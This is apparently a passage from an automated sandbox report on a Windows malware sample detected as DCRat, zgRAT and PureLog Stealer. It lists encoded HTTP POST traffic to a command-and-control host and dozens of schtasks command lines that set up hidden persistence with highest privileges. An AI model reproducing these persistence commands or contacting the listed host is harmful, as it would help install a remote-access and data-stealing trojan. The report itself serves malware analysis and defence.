Jan 3, 2025 11:49:02.391737938 CET	800	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:49:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NmzeloNdNYGmZcR5GLTXI0eFbGVD29av%2B2RzQXxE1kVWBs8YusJZoT9o0F31M4bkm48crG9gxY4juSwmS6FhiGyVWw5ai9g1%2BWudtZ7g25%2F4fdX%2BYteMXuy045VHahs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26b7c0da00f3d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1712&min_rtt=1580&rtt_var=857&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1353&delivery_rate=553030&cwnd=142&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.4	51981	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:49:02.520143986 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:49:02.880011082 CET	1040	OUT	Data Raw: 5a 57 5b 5d 5d 53 50 5a 5a 5d 59 57 59 5c 5b 57 5f 52 54 5b 50 5c 5b 5c 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZW[]]SPZZ]YWY\[W_RT[P\[\Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^'9T6;V +$<89\?);1!R Y2',3?<&\+. \'%^.(
Jan 3, 2025 11:49:02.979721069 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:49:03.235371113 CET	800	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:49:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=phcH62as4HxnSsNbvhAgtkryPVz52SJEXg3p3IhRMdtAik89NZj%2BLQsZLlInlBxc5thMMY9%2FnAboftsTJGMu8Ku%2BHbdrNw4Ia9i0NJBFd0ZEq%2FajVYGhX3sxYp7yIBc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26b815bd172bc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4810&min_rtt=1760&rtt_var=6760&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=55806&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0
Jan 3, 2025 11:49:04.396229982 CET	800	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:49:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=phcH62as4HxnSsNbvhAgtkryPVz52SJEXg3p3IhRMdtAik89NZj%2BLQsZLlInlBxc5thMMY9%2FnAboftsTJGMu8Ku%2BHbdrNw4Ia9i0NJBFd0ZEq%2FajVYGhX3sxYp7yIBc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26b815bd172bc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4810&min_rtt=1760&rtt_var=6760&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=55806&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0
Jan 3, 2025 11:49:04.396313906 CET	800	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:49:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=phcH62as4HxnSsNbvhAgtkryPVz52SJEXg3p3IhRMdtAik89NZj%2BLQsZLlInlBxc5thMMY9%2FnAboftsTJGMu8Ku%2BHbdrNw4Ia9i0NJBFd0ZEq%2FajVYGhX3sxYp7yIBc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26b815bd172bc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4810&min_rtt=1760&rtt_var=6760&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=55806&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0
Jan 3, 2025 11:49:04.396435022 CET	800	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:49:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=phcH62as4HxnSsNbvhAgtkryPVz52SJEXg3p3IhRMdtAik89NZj%2BLQsZLlInlBxc5thMMY9%2FnAboftsTJGMu8Ku%2BHbdrNw4Ia9i0NJBFd0ZEq%2FajVYGhX3sxYp7yIBc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26b815bd172bc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4810&min_rtt=1760&rtt_var=6760&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=55806&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Target ID:	0
Start time:	05:46:55
Start date:	03/01/2025
Path:	C:\Users\user\Desktop\Gg6wivFINd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\Gg6wivFINd.exe"
Imagebase:	0xb90000
File size:	1'921'536 bytes
MD5 hash:	F59DF4574B5C3BB1F563A585B031DC2B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000000.00000002.1720443500.00000000132AC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000000.1659306757.0000000000B92000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	05:46:59
Start date:	03/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "SKldWJijnIiMahBoQJBrS" /sc MINUTE /mo 11 /tr "'C:\Program Files\Windows Defender Advanced Threat Protection\en-GB\SKldWJijnIiMahBoQJBr.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	05:46:59
Start date:	03/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "SKldWJijnIiMahBoQJBr" /sc ONLOGON /tr "'C:\Program Files\Windows Defender Advanced Threat Protection\en-GB\SKldWJijnIiMahBoQJBr.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	05:46:59
Start date:	03/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "SKldWJijnIiMahBoQJBrS" /sc MINUTE /mo 14 /tr "'C:\Program Files\Windows Defender Advanced Threat Protection\en-GB\SKldWJijnIiMahBoQJBr.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	05:46:59
Start date:	03/01/2025
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\gufwpc0b\gufwpc0b.cmdline"
Imagebase:	0x7ff77d4e0000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	05:46:59
Start date:	03/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	05:46:59
Start date:	03/01/2025
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES7B7D.tmp" "c:\Windows\System32\CSCF36723D4EAA14E7A90D51663AB383B81.TMP"
Imagebase:	0x7ff657450000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	05:46:59
Start date:	03/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "SKldWJijnIiMahBoQJBrS" /sc MINUTE /mo 9 /tr "'C:\Users\All Users\Microsoft\User Account Pictures\SKldWJijnIiMahBoQJBr.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	05:46:59
Start date:	03/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks.exe /create /tn "SKldWJijnIiMahBoQJBr" /sc ONLOGON /tr "'C:\Users\All Users\Microsoft\User Account Pictures\SKldWJijnIiMahBoQJBr.exe'" /rl HIGHEST /f
Imagebase:	0x800000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	05:46:59
Start date:	03/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "SKldWJijnIiMahBoQJBrS" /sc MINUTE /mo 9 /tr "'C:\Users\All Users\Microsoft\User Account Pictures\SKldWJijnIiMahBoQJBr.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	05:46:59
Start date:	03/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "SKldWJijnIiMahBoQJBrS" /sc MINUTE /mo 8 /tr "'C:\Program Files\Uninstall Information\SKldWJijnIiMahBoQJBr.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	05:46:59
Start date:	03/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "SKldWJijnIiMahBoQJBr" /sc ONLOGON /tr "'C:\Program Files\Uninstall Information\SKldWJijnIiMahBoQJBr.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	05:47:00
Start date:	03/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "SKldWJijnIiMahBoQJBrS" /sc MINUTE /mo 9 /tr "'C:\Program Files\Uninstall Information\SKldWJijnIiMahBoQJBr.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	05:47:00
Start date:	03/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 6 /tr "'C:\Users\All Users\ssh\csrss.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	05:47:00
Start date:	03/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Users\All Users\ssh\csrss.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	05:47:00
Start date:	03/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 8 /tr "'C:\Users\All Users\ssh\csrss.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	05:47:00
Start date:	03/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "SKldWJijnIiMahBoQJBrS" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\windows photo viewer\en-GB\SKldWJijnIiMahBoQJBr.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	05:47:00
Start date:	03/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "SKldWJijnIiMahBoQJBr" /sc ONLOGON /tr "'C:\Program Files (x86)\windows photo viewer\en-GB\SKldWJijnIiMahBoQJBr.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	05:47:00
Start date:	03/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "SKldWJijnIiMahBoQJBrS" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\windows photo viewer\en-GB\SKldWJijnIiMahBoQJBr.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	05:47:00
Start date:	03/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "Gg6wivFINdG" /sc MINUTE /mo 11 /tr "'C:\Users\user\Desktop\Gg6wivFINd.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	05:47:00
Start date:	03/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "Gg6wivFINd" /sc ONLOGON /tr "'C:\Users\user\Desktop\Gg6wivFINd.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	05:47:00
Start date:	03/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "Gg6wivFINdG" /sc MINUTE /mo 6 /tr "'C:\Users\user\Desktop\Gg6wivFINd.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	05:47:00
Start date:	03/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\fWX3gCrjSV.bat"
Imagebase:	0x7ff6fe460000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	05:47:00
Start date:	03/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	05:47:01
Start date:	03/01/2025
Path:	C:\ProgramData\ssh\csrss.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\All Users\ssh\csrss.exe"
Imagebase:	0xb40000
File size:	1'921'536 bytes
MD5 hash:	F59DF4574B5C3BB1F563A585B031DC2B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\ProgramData\ssh\csrss.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\ProgramData\ssh\csrss.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 74%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	05:47:01
Start date:	03/01/2025
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff6abbe0000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	05:47:01
Start date:	03/01/2025
Path:	C:\ProgramData\ssh\csrss.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\All Users\ssh\csrss.exe"
Imagebase:	0x7d0000
File size:	1'921'536 bytes
MD5 hash:	F59DF4574B5C3BB1F563A585B031DC2B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000001A.00000002.2923235693.0000000002FB7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000001A.00000002.2923235693.000000000336A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000001A.00000002.2923235693.000000000319B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000001A.00000002.2923235693.0000000003501000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	05:47:01
Start date:	03/01/2025
Path:	C:\Users\user\Desktop\Gg6wivFINd.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\Gg6wivFINd.exe
Imagebase:	0xe20000
File size:	1'921'536 bytes
MD5 hash:	F59DF4574B5C3BB1F563A585B031DC2B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	05:47:01
Start date:	03/01/2025
Path:	C:\Windows\System32\w32tm.exe
Wow64 process (32bit):	false
Commandline:	w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Imagebase:	0x7ff7a5b60000
File size:	108'032 bytes
MD5 hash:	81A82132737224D324A3E8DA993E2FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	05:47:01
Start date:	03/01/2025
Path:	C:\Users\user\Desktop\Gg6wivFINd.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\Gg6wivFINd.exe
Imagebase:	0x350000
File size:	1'921'536 bytes
MD5 hash:	F59DF4574B5C3BB1F563A585B031DC2B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	05:47:01
Start date:	03/01/2025
Path:	C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\windows photo viewer\en-GB\SKldWJijnIiMahBoQJBr.exe"
Imagebase:	0x7f0000
File size:	1'921'536 bytes
MD5 hash:	F59DF4574B5C3BB1F563A585B031DC2B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 100%, Joe Sandbox ML Detection: 100%, Joe Sandbox ML Detection: 100%, Joe Sandbox ML Detection: 74%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	05:47:01
Start date:	03/01/2025
Path:	C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\windows photo viewer\en-GB\SKldWJijnIiMahBoQJBr.exe"
Imagebase:	0x7a0000
File size:	1'921'536 bytes
MD5 hash:	F59DF4574B5C3BB1F563A585B031DC2B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	05:47:06
Start date:	03/01/2025
Path:	C:\Users\user\Desktop\Gg6wivFINd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\Gg6wivFINd.exe"
Imagebase:	0xe30000
File size:	1'921'536 bytes
MD5 hash:	F59DF4574B5C3BB1F563A585B031DC2B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	05:47:10
Start date:	03/01/2025
Path:	C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\windows photo viewer\en-GB\SKldWJijnIiMahBoQJBr.exe"
Imagebase:	0x6b0000
File size:	1'921'536 bytes
MD5 hash:	F59DF4574B5C3BB1F563A585B031DC2B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	05:47:18
Start date:	03/01/2025
Path:	C:\ProgramData\ssh\csrss.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\All Users\ssh\csrss.exe"
Imagebase:	0x570000
File size:	1'921'536 bytes
MD5 hash:	F59DF4574B5C3BB1F563A585B031DC2B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	05:47:27
Start date:	03/01/2025
Path:	C:\Users\user\Desktop\Gg6wivFINd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\Gg6wivFINd.exe"
Imagebase:	0xf60000
File size:	1'921'536 bytes
MD5 hash:	F59DF4574B5C3BB1F563A585B031DC2B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	05:47:35
Start date:	03/01/2025
